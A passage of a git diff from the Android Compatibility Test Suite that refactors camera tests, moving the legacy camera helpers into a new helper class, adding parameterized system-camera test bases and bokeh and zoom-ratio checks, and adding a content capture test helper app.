+ * Trigger and wait for autofocus to complete.
+ */
+ public void autoFocus() throws InterruptedException {
+ Lock focusLock = new ReentrantLock();
+ Condition focusDone = focusLock.newCondition();
+
+ mCamera.autoFocus(new AutoFocusCallback() {
+ @Override
+ public void onAutoFocus(boolean success, Camera camera) {
+ focusLock.lock();
+ focusDone.signal();
+ focusLock.unlock();
+ }
+ });
+
+ focusLock.lock();
+ try {
+ assertTrue(
+ "Autofocus timeout",
+ focusDone.awaitNanos(WAIT_FOR_FOCUS_TO_COMPLETE_NS) > 0L);
+ } finally {
+ focusLock.unlock();
+ }
+ }
+
+ /**
+ * Trigger and wait for snapshot to finish.
+ */
+ public void takePicture() throws InterruptedException {
+ Lock snapshotLock = new ReentrantLock();
+ Condition snapshotDone = snapshotLock.newCondition();
+
+ mCamera.takePicture(/*shutterCallback*/ null, /*rawPictureCallback*/ null,
+ new PictureCallback() {
+ @Override
+ public void onPictureTaken(byte[] rawData, Camera camera) {
+ snapshotLock.lock();
+ try {
+ assertNotNull("Empty jpeg data", rawData);
+ snapshotDone.signal();
+ } finally {
+ snapshotLock.unlock();
+ }
+ }
+ });
+
+ snapshotLock.lock();
+ try {
+ assertTrue(
+ "TakePicture timeout",
+ snapshotDone.awaitNanos(WAIT_FOR_SNAPSHOT_TO_COMPLETE_NS) > 0L);
+ } finally {
+ snapshotLock.unlock();
+ }
+ }
+
+ public Camera getCamera() {
+ return mCamera;
+ }
+}
\ No newline at end of file
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index b6fe28a..47ffca6 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -3300,7 +3300,8 @@
int nCameras = Camera.getNumberOfCameras();
for (int id = 0; id < nCameras; id++) {
Log.v(TAG, "Camera id=" + id);
- testVideoSnapshotByCamera(id);
+ testVideoSnapshotByCamera(id, /*recordingHint*/false);
+ testVideoSnapshotByCamera(id, /*recordingHint*/true);
}
}
@@ -3316,7 +3317,7 @@
CamcorderProfile.QUALITY_QVGA,
};
- private void testVideoSnapshotByCamera(int cameraId) throws Exception {
+ private void testVideoSnapshotByCamera(int cameraId, boolean recordingHint) throws Exception {
initializeMessageLooper(cameraId);
Camera.Parameters parameters = mCamera.getParameters();
terminateMessageLooper();
@@ -3344,6 +3345,7 @@
}
}
parameters.setPictureSize(biggestSize.width, biggestSize.height);
+ parameters.setRecordingHint(recordingHint);
mCamera.setParameters(parameters);
mCamera.startPreview();
diff --git a/tests/camera/src/android/hardware/cts/CameraTestCase.java b/tests/camera/src/android/hardware/cts/CameraTestCase.java
deleted file mode 100644
index 1b4193b..0000000
--- a/tests/camera/src/android/hardware/cts/CameraTestCase.java
+++ /dev/null
@@ -1,198 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.cts;
-
-import android.hardware.Camera;
-import android.hardware.Camera.AutoFocusCallback;
-import android.hardware.Camera.ErrorCallback;
-import android.hardware.Camera.PictureCallback;
-import android.hardware.Camera.PreviewCallback;
-import android.os.Looper;
-import android.util.Log;
-
-import java.util.concurrent.locks.Condition;
-import java.util.concurrent.locks.Lock;
-import java.util.concurrent.locks.ReentrantLock;
-
-import junit.framework.TestCase;
-
-public class CameraTestCase extends TestCase {
- private static final String TAG = "CameraTestCase";
- private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
-
- protected static final int NO_ERROR = -1;
- protected static final long WAIT_FOR_COMMAND_TO_COMPLETE_NS = 5000000000L;
- protected static final long WAIT_FOR_FOCUS_TO_COMPLETE_NS = 5000000000L;
- protected static final long WAIT_FOR_SNAPSHOT_TO_COMPLETE_NS = 5000000000L;
- protected Looper mLooper = null;
-
- protected int mCameraErrorCode;
- protected Camera mCamera;
-
- /**
- * Initializes the message looper so that the Camera object can
- * receive the callback messages.
- */
- protected void initializeMessageLooper(final int cameraId) throws InterruptedException {
- Lock startLock = new ReentrantLock();
- Condition startDone = startLock.newCondition();
- mCameraErrorCode = NO_ERROR;
- new Thread() {
- @Override
- public void run() {
- // Set up a looper to be used by camera.
- Looper.prepare();
- // Save the looper so that we can terminate this thread
- // after we are done with it.
- mLooper = Looper.myLooper();
- try {
- mCamera = Camera.open(cameraId);
- mCamera.setErrorCallback(new ErrorCallback() {
- @Override
- public void onError(int error, Camera camera) {
- mCameraErrorCode = error;
- }
- });
- } catch (RuntimeException e) {
- Log.e(TAG, "Fail to open camera." + e);
- }
- startLock.lock();
- startDone.signal();
- startLock.unlock();
- Looper.loop(); // Blocks forever until Looper.quit() is called.
- if (VERBOSE) Log.v(TAG, "initializeMessageLooper: quit.");
- }
- }.start();
-
- startLock.lock();
- try {
- if (startDone.awaitNanos(WAIT_FOR_COMMAND_TO_COMPLETE_NS) <= 0L) {
- fail("initializeMessageLooper: start timeout");
- }
- } finally {
- startLock.unlock();
- }
-
- assertNotNull("Fail to open camera.", mCamera);
- }
-
- /**
- * Terminates the message looper thread, optionally allowing evict error
- */
- protected void terminateMessageLooper() throws Exception {
- mLooper.quit();
- // Looper.quit() is asynchronous. The looper may still has some
- // preview callbacks in the queue after quit is called. The preview
- // callback still uses the camera object (setHasPreviewCallback).
- // After camera is released, RuntimeException will be thrown from
- // the method. So we need to join the looper thread here.
- mLooper.getThread().join();
- mCamera.release();
- mCamera = null;
- assertEquals("Got camera error callback.", NO_ERROR, mCameraErrorCode);
- }
-
- /**
- * Start preview and wait for the first preview callback, which indicates the
- * preview becomes active.
- */
- protected void startPreview() throws InterruptedException {
- Lock previewLock = new ReentrantLock();
- Condition previewDone = previewLock.newCondition();
-
- mCamera.setPreviewCallback(new PreviewCallback() {
- @Override
- public void onPreviewFrame(byte[] data, android.hardware.Camera camera) {
- previewLock.lock();
- previewDone.signal();
- previewLock.unlock();
- }
- });
- mCamera.startPreview();
-
- previewLock.lock();
- try {
- if (previewDone.awaitNanos(WAIT_FOR_COMMAND_TO_COMPLETE_NS) <= 0L) {
- fail("Preview done timeout");
- }
- } finally {
- previewLock.unlock();
- }
-
- mCamera.setPreviewCallback(null);
- }
-
- /**
- * Trigger and wait for autofocus to complete.
- */
- protected void autoFocus() throws InterruptedException {
- Lock focusLock = new ReentrantLock();
- Condition focusDone = focusLock.newCondition();
-
- mCamera.autoFocus(new AutoFocusCallback() {
- @Override
- public void onAutoFocus(boolean success, Camera camera) {
- focusLock.lock();
- focusDone.signal();
- focusLock.unlock();
- }
- });
-
- focusLock.lock();
- try {
- if (focusDone.awaitNanos(WAIT_FOR_FOCUS_TO_COMPLETE_NS) <= 0L) {
- fail("Autofocus timeout");
- }
- } finally {
- focusLock.unlock();
- }
- }
-
- /**
- * Trigger and wait for snapshot to finish.
- */
- protected void takePicture() throws InterruptedException {
- Lock snapshotLock = new ReentrantLock();
- Condition snapshotDone = snapshotLock.newCondition();
-
- mCamera.takePicture(/*shutterCallback*/ null, /*rawPictureCallback*/ null,
- new PictureCallback() {
- @Override
- public void onPictureTaken(byte[] rawData, Camera camera) {
- snapshotLock.lock();
- try {
- if (rawData == null) {
- fail("Empty jpeg data");
- }
- snapshotDone.signal();
- } finally {
- snapshotLock.unlock();
- }
- }
- });
-
- snapshotLock.lock();
- try {
- if (snapshotDone.awaitNanos(WAIT_FOR_SNAPSHOT_TO_COMPLETE_NS) <= 0L) {
- fail("TakePicture timeout");
- }
- } finally {
- snapshotLock.unlock();
- }
- }
-
-}
diff --git a/tests/camera/src/android/hardware/cts/LegacyCameraPerformanceTest.java b/tests/camera/src/android/hardware/cts/LegacyCameraPerformanceTest.java
index 74ffdff..ac3f6dd 100644
--- a/tests/camera/src/android/hardware/cts/LegacyCameraPerformanceTest.java
+++ b/tests/camera/src/android/hardware/cts/LegacyCameraPerformanceTest.java
@@ -30,33 +30,41 @@
import com.android.compatibility.common.util.ResultUnit;
import com.android.compatibility.common.util.Stat;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
import java.util.Arrays;
/**
* Measure and report legacy camera device performance.
*/
-public class LegacyCameraPerformanceTest extends CameraTestCase {
+@RunWith(JUnit4.class)
+public class LegacyCameraPerformanceTest {
private static final String TAG = "CameraPerformanceTest";
private static final String REPORT_LOG_NAME = "CtsCamera1TestCases";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
private Instrumentation mInstrumentation;
+ private CameraPerformanceTestHelper mHelper;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUp() throws Exception {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ mHelper = new CameraPerformanceTestHelper();
}
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- if (mCamera != null) {
- mCamera.release();
- mCamera = null;
+ @After
+ public void tearDown() throws Exception {
+ if (mHelper.getCamera() != null) {
+ mHelper.getCamera().release();
+
}
}
+ @Test
public void testLegacyApiPerformance() throws Exception {
final int NUM_TEST_LOOPS = 10;
@@ -75,14 +83,14 @@
double[] cameraAutoFocusTimes = new double[NUM_TEST_LOOPS];
boolean afSupported = false;
long openTimeMs, startPreviewTimeMs, stopPreviewTimeMs, closeTimeMs, takePictureTimeMs,
- autofocusTimeMs;
+ autofocusTimeMs;
for (int i = 0; i < NUM_TEST_LOOPS; i++) {
openTimeMs = SystemClock.elapsedRealtime();
- initializeMessageLooper(id);
+ mHelper.initializeMessageLooper(id);
cameraOpenTimes[i] = SystemClock.elapsedRealtime() - openTimeMs;
- Parameters parameters = mCamera.getParameters();
+ Parameters parameters = mHelper.getCamera().getParameters();
if (i == 0) {
for (String focusMode: parameters.getSupportedFocusModes()) {
if (Parameters.FOCUS_MODE_AUTO.equals(focusMode)) {
@@ -94,18 +102,18 @@
if (afSupported) {
parameters.setFocusMode(Parameters.FOCUS_MODE_AUTO);
- mCamera.setParameters(parameters);
+ mHelper.getCamera().setParameters(parameters);
}
SurfaceTexture previewTexture = new SurfaceTexture(/*random int*/ 1);
- mCamera.setPreviewTexture(previewTexture);
+ mHelper.getCamera().setPreviewTexture(previewTexture);
startPreviewTimeMs = SystemClock.elapsedRealtime();
- startPreview();
+ mHelper.startPreview();
startPreviewTimes[i] = SystemClock.elapsedRealtime() - startPreviewTimeMs;
if (afSupported) {
autofocusTimeMs = SystemClock.elapsedRealtime();
- autoFocus();
+ mHelper.autoFocus();
cameraAutoFocusTimes[i] = SystemClock.elapsedRealtime() - autofocusTimeMs;
}
@@ -113,18 +121,18 @@
Thread.sleep(1000);
takePictureTimeMs = SystemClock.elapsedRealtime();
- takePicture();
+ mHelper.takePicture();
cameraTakePictureTimes[i] = SystemClock.elapsedRealtime() - takePictureTimeMs;
//Resume preview after image capture
- startPreview();
+ mHelper.startPreview();
stopPreviewTimeMs = SystemClock.elapsedRealtime();
- mCamera.stopPreview();
+ mHelper.getCamera().stopPreview();
closeTimeMs = SystemClock.elapsedRealtime();
stopPreviewTimes[i] = closeTimeMs - stopPreviewTimeMs;
- terminateMessageLooper();
+ mHelper.terminateMessageLooper();
cameraCloseTimes[i] = SystemClock.elapsedRealtime() - closeTimeMs;
previewTexture.release();
}
@@ -192,4 +200,4 @@
reportLog.submit(mInstrumentation);
}
}
-}
+}
\ No newline at end of file
diff --git a/tests/camera/src/android/hardware/multiprocess/camera/cts/Camera2Activity.java b/tests/camera/src/android/hardware/multiprocess/camera/cts/Camera2Activity.java
index 418eb7c..398ffb8 100644
--- a/tests/camera/src/android/hardware/multiprocess/camera/cts/Camera2Activity.java
+++ b/tests/camera/src/android/hardware/multiprocess/camera/cts/Camera2Activity.java
@@ -63,7 +63,7 @@
" could not connect camera service");
return;
}
- String[] cameraIds = manager.getCameraIdList();
+ String[] cameraIds = manager.getCameraIdListNoLazy();
if (cameraIds == null || cameraIds.length == 0) {
mErrorServiceConnection.logAsync(TestConstants.EVENT_CAMERA_ERROR, TAG +
diff --git a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
index 2a69aed..14dbd92 100644
--- a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
+++ b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
@@ -165,7 +165,7 @@
public void testBasicCamera2ActivityEviction() throws Throwable {
CameraManager manager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
assertNotNull(manager);
- String[] cameraIds = manager.getCameraIdList();
+ String[] cameraIds = manager.getCameraIdListNoLazy();
if (cameraIds.length == 0) {
Log.i(TAG, "Skipping testBasicCamera2ActivityEviction, device has no cameras.");
@@ -269,7 +269,7 @@
int PERMISSION_CALLBACK_TIMEOUT_MS = 2000;
CameraManager manager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
assertNotNull(manager);
- String[] cameraIds = manager.getCameraIdList();
+ String[] cameraIds = manager.getCameraIdListNoLazy();
if (cameraIds.length == 0) {
Log.i(TAG, "Skipping testCamera2AccessCallback, device has no cameras.");
@@ -305,7 +305,7 @@
int PERMISSION_CALLBACK_TIMEOUT_MS = 2000;
CameraManager manager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
assertNotNull(manager);
- String[] cameraIds = manager.getCameraIdList();
+ String[] cameraIds = manager.getCameraIdListNoLazy();
if (cameraIds.length == 0) {
Log.i(TAG, "Skipping testBasicCamera2AccessCallback, device has no cameras.");
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/Camera2ParameterizedTestCase.java b/tests/camera/utils/src/android/hardware/camera2/cts/Camera2ParameterizedTestCase.java
new file mode 100644
index 0000000..c7deb5a
--- /dev/null
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/Camera2ParameterizedTestCase.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+import android.content.Context;
+import android.hardware.cts.helpers.CameraParameterizedTestCase;
+import android.hardware.camera2.cts.CameraTestUtils;
+import android.hardware.camera2.CameraManager;
+import android.util.Log;
+
+import java.util.Arrays;
+
+import org.junit.Ignore;
+
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+
+public class Camera2ParameterizedTestCase extends CameraParameterizedTestCase {
+ private static final String TAG = "Camera2ParameterizedTestCase";
+ protected CameraManager mCameraManager;
+ // The list of camera ids we're testing. If we're testing system cameras
+ // (mAdoptShellPerm == true), we have only system camera ids in the array and not normal camera
+ // ids.
+ protected String[] mCameraIdsUnderTest;
+
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ /**
+ * Workaround for mockito and JB-MR2 incompatibility
+ *
+ * Avoid java.lang.IllegalArgumentException: dexcache == null
+ * https://code.google.com/p/dexmaker/issues/detail?id=2
+ */
+ System.setProperty("dexmaker.dexcache", mContext.getCacheDir().toString());
+ mCameraManager = (CameraManager) mContext.getSystemService(Context.CAMERA_SERVICE);
+ assertNotNull("Unable to get CameraManager", mCameraManager);
+ mCameraIdsUnderTest =
+ CameraTestUtils.getCameraIdListForTesting(mCameraManager, mAdoptShellPerm);
+ assertNotNull("Unable to get camera ids", mCameraIdsUnderTest);
+ }
+
+ @Override
+ public void tearDown() throws Exception {
+ String[] cameraIdsPostTest =
+ CameraTestUtils.getCameraIdListForTesting(mCameraManager, mAdoptShellPerm);
+ assertNotNull("Camera ids shouldn't be null", cameraIdsPostTest);
+ Log.i(TAG, "Camera ids in setup:" + Arrays.toString(mCameraIdsUnderTest));
+ Log.i(TAG, "Camera ids in tearDown:" + Arrays.toString(cameraIdsPostTest));
+ assertTrue(
+ "Number of cameras changed from " + mCameraIdsUnderTest.length + " to " +
+ cameraIdsPostTest.length,
+ mCameraIdsUnderTest.length == cameraIdsPostTest.length);
+ super.tearDown();
+ }
+}
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index e408cb5..b49a0a6 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -704,6 +704,38 @@
}
}
+ public static boolean hasCapability(CameraCharacteristics characteristics, int capability) {
+ int [] capabilities =
+ characteristics.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
+ for (int c : capabilities) {
+ if (c == capability) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ public static boolean isSystemCamera(CameraManager manager, String cameraId)
+ throws CameraAccessException {
+ CameraCharacteristics characteristics = manager.getCameraCharacteristics(cameraId);
+ return hasCapability(characteristics,
+ CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_SYSTEM_CAMERA);
+ }
+
+ public static String[] getCameraIdListForTesting(CameraManager manager,
+ boolean getSystemCameras)
+ throws CameraAccessException {
+ String [] ids = manager.getCameraIdListNoLazy();
+ List<String> idsForTesting = new ArrayList<String>();
+ for (String id : ids) {
+ boolean isSystemCamera = isSystemCamera(manager, id);
+ if (getSystemCameras == isSystemCamera) {
+ idsForTesting.add(id);
+ }
+ }
+ return idsForTesting.toArray(new String[idsForTesting.size()]);
+ }
+
/**
* Block until the camera is opened.
*
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java
index db75cdd..e0a956e 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraMetadataGetter.java
@@ -108,7 +108,7 @@
CameraCharacteristics staticMetadata;
String[] cameraIds;
try {
- cameraIds = mCameraManager.getCameraIdList();
+ cameraIds = mCameraManager.getCameraIdListNoLazy();
} catch (CameraAccessException e) {
Log.e(TAG, "Unable to get camera ids, skip this info, error: " + e.getMessage());
return "";
@@ -180,7 +180,7 @@
StringBuffer templates = new StringBuffer("{\"CameraRequestTemplates\":{");
String[] cameraIds;
try {
- cameraIds = mCameraManager.getCameraIdList();
+ cameraIds = mCameraManager.getCameraIdListNoLazy();
} catch (CameraAccessException e) {
Log.e(TAG, "Unable to get camera ids, skip this info, error: " + e.getMessage());
return "";
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index 8069bdb..d9fdcfb 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -25,6 +25,7 @@
import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.cts.CameraTestUtils;
import android.hardware.camera2.params.StreamConfigurationMap;
+import android.hardware.camera2.params.Capability;
import android.util.Range;
import android.util.Size;
import android.util.Log;
@@ -1815,6 +1816,26 @@
return maxZoom;
}
+ public Range<Float> getZoomRatioRangeChecked() {
+ Key<Range<Float>> key =
+ CameraCharacteristics.CONTROL_ZOOM_RATIO_RANGE;
+
+ Range<Float> zoomRatioRange = getValueFromKeyNonNull(key);
+ if (zoomRatioRange == null) {
+ return new Range<Float>(1.0f, 1.0f);
+ }
+
+ checkTrueForKey(key, String.format(" min zoom ratio %f should be no more than 1",
+ zoomRatioRange.getLower()), zoomRatioRange.getLower() <= 1.0);
+ checkTrueForKey(key, String.format(" max zoom ratio %f should be no less than 1",
+ zoomRatioRange.getUpper()), zoomRatioRange.getUpper() >= 1.0);
+ final float ZOOM_MIN_RANGE = 0.01f;
+ checkTrueForKey(key, " zoom ratio range should be reasonably large",
+ zoomRatioRange.getUpper().equals(zoomRatioRange.getLower()) ||
+ zoomRatioRange.getUpper() - zoomRatioRange.getLower() > ZOOM_MIN_RANGE);
+ return zoomRatioRange;
+ }
+
public int[] getAvailableSceneModesChecked() {
Key<int[]> key =
CameraCharacteristics.CONTROL_AVAILABLE_SCENE_MODES;
@@ -1852,6 +1873,68 @@
return modes;
}
+ public Capability[] getAvailableBokehCapsChecked() {
+ final Size FULL_HD = new Size(1920, 1080);
+ Rect activeRect = getValueFromKeyNonNull(
+ CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
+ Key<Capability[]> key =
+ CameraCharacteristics.CONTROL_AVAILABLE_BOKEH_CAPABILITIES;
+ Capability[] caps = mCharacteristics.get(key);
+ if (caps == null) {
+ return new Capability[0];
+ }
+
+ Size[] yuvSizes = getAvailableSizesForFormatChecked(ImageFormat.YUV_420_888,
+ StaticMetadata.StreamDirection.Output);
+ List<Size> yuvSizesList = Arrays.asList(yuvSizes);
+ for (Capability cap : caps) {
+ int bokehMode = cap.getMode();
+ Size maxStreamingSize = cap.getMaxStreamingSize();
+ boolean maxStreamingSizeIsZero =
+ maxStreamingSize.getWidth() == 0 && maxStreamingSize.getHeight() == 0;
+ // Check bokeh mode is in range.
+ checkTrueForKey(key,
+ String.format(" bokehMode %d is out of range [%d, %d]", bokehMode,
+ CameraMetadata.CONTROL_BOKEH_MODE_OFF,
+ CameraMetadata.CONTROL_BOKEH_MODE_CONTINUOUS),
+ bokehMode <= CameraMetadata.CONTROL_BOKEH_MODE_CONTINUOUS &&
+ bokehMode >= CameraMetadata.CONTROL_BOKEH_MODE_OFF);
+ switch (bokehMode) {
+ case CameraMetadata.CONTROL_BOKEH_MODE_STILL_CAPTURE:
+ // STILL_CAPTURE: Must either be (0, 0), or one of supported yuv/private sizes.
+ // Because spec requires yuv and private sizes match, only check YUV sizes here.
+ checkTrueForKey(key,
+ String.format(" maxStreamingSize [%d, %d] for bokeh mode " +
+ "%d must be a supported YCBCR_420_888 size, or (0, 0)",
+ maxStreamingSize.getWidth(), maxStreamingSize.getHeight(), bokehMode),
+ yuvSizesList.contains(maxStreamingSize) || maxStreamingSizeIsZero);
+ break;
+ case CameraMetadata.CONTROL_BOKEH_MODE_CONTINUOUS:
+ // CONTINUOUS: Must be one of supported yuv/private stream sizes.
+ checkTrueForKey(key,
+ String.format(" maxStreamingSize [%d, %d] for bokeh mode " +
+ "%d must be a supported YCBCR_420_888 size.",
+ maxStreamingSize.getWidth(), maxStreamingSize.getHeight(), bokehMode),
+ yuvSizesList.contains(maxStreamingSize));
+ // Must be at least 1080p if sensor is at least 1080p.
+ if (activeRect.width() >= FULL_HD.getWidth() &&
+ activeRect.height() >= FULL_HD.getHeight()) {
+ checkTrueForKey(key,
+ String.format(" maxStreamingSize [%d, %d] for bokeh mode %d must " +
+ "be at least 1080p", maxStreamingSize.getWidth(),
+ maxStreamingSize.getHeight(), bokehMode),
+ maxStreamingSize.getWidth() >= FULL_HD.getWidth() &&
+ maxStreamingSize.getHeight() >= FULL_HD.getHeight());
+ }
+ break;
+ default:
+ break;
+ }
+ }
+
+ return caps;
+ }
+
/**
* Get and check the available color aberration modes
*
diff --git a/tests/camera/utils/src/android/hardware/cts/helpers/CameraParameterizedTestCase.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraParameterizedTestCase.java
new file mode 100644
index 0000000..b2f4c04
--- /dev/null
+++ b/tests/camera/utils/src/android/hardware/cts/helpers/CameraParameterizedTestCase.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers;
+
+import android.app.UiAutomation;
+import android.content.Context;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import android.app.Activity;
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class CameraParameterizedTestCase {
+ protected UiAutomation mUiAutomation;
+ protected Context mContext;
+ @Parameter(0)
+ public boolean mAdoptShellPerm;
+
+ @Parameters
+ public static Iterable<? extends Object> data() {
+ List<Boolean> adoptShellPerm = new ArrayList<Boolean>();
+ adoptShellPerm.add(true);
+ adoptShellPerm.add(false);
+ return adoptShellPerm;
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ mContext = InstrumentationRegistry.getTargetContext();
+ if (mAdoptShellPerm) {
+ mUiAutomation.adoptShellPermissionIdentity();
+ }
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (mAdoptShellPerm) {
+ mUiAutomation.dropShellPermissionIdentity();
+ }
+ }
+}
diff --git a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
index b4982b2..82df26e 100644
--- a/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
+++ b/tests/camera/utils/src/android/hardware/cts/helpers/CameraUtils.java
@@ -38,7 +38,7 @@
*/
public static boolean isLegacyHAL(Context context, int cameraId) throws Exception {
CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
- String cameraIdStr = manager.getCameraIdList()[cameraId];
+ String cameraIdStr = manager.getCameraIdListNoLazy()[cameraId];
return isLegacyHAL(manager, cameraIdStr);
}
@@ -68,7 +68,7 @@
*/
public static boolean isExternal(Context context, int cameraId) throws Exception {
CameraManager manager = (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
- String cameraIdStr = manager.getCameraIdList()[cameraId];
+ String cameraIdStr = manager.getCameraIdListNoLazy()[cameraId];
CameraCharacteristics characteristics =
manager.getCameraCharacteristics(cameraIdStr);
diff --git a/tests/contentcaptureservice/AndroidTest.xml b/tests/contentcaptureservice/AndroidTest.xml
index f8afb9a..ed7cbe7 100644
--- a/tests/contentcaptureservice/AndroidTest.xml
+++ b/tests/contentcaptureservice/AndroidTest.xml
@@ -22,6 +22,7 @@
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsContentCaptureServiceTestCases.apk" />
+ <option name="test-file-name" value="CtsOutsideOfPackageActivity.apk" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/tests/contentcaptureservice/OWNERS b/tests/contentcaptureservice/OWNERS
index 4df1ffa..2abf830 100644
--- a/tests/contentcaptureservice/OWNERS
+++ b/tests/contentcaptureservice/OWNERS
@@ -1,2 +1,4 @@
# Bug component: 544200
-felipeal@google.com
\ No newline at end of file
+adamhe@google.com
+svetoslavganov@google.com
+felipeal@google.com
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
new file mode 100644
index 0000000..1f35d9b
--- /dev/null
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsOutsideOfPackageActivity",
+ defaults: ["cts_defaults"],
+ sdk_version: "current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ srcs: ["src/**/*.java"],
+}
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml b/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml
new file mode 100644
index 0000000..ea2fa41
--- /dev/null
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
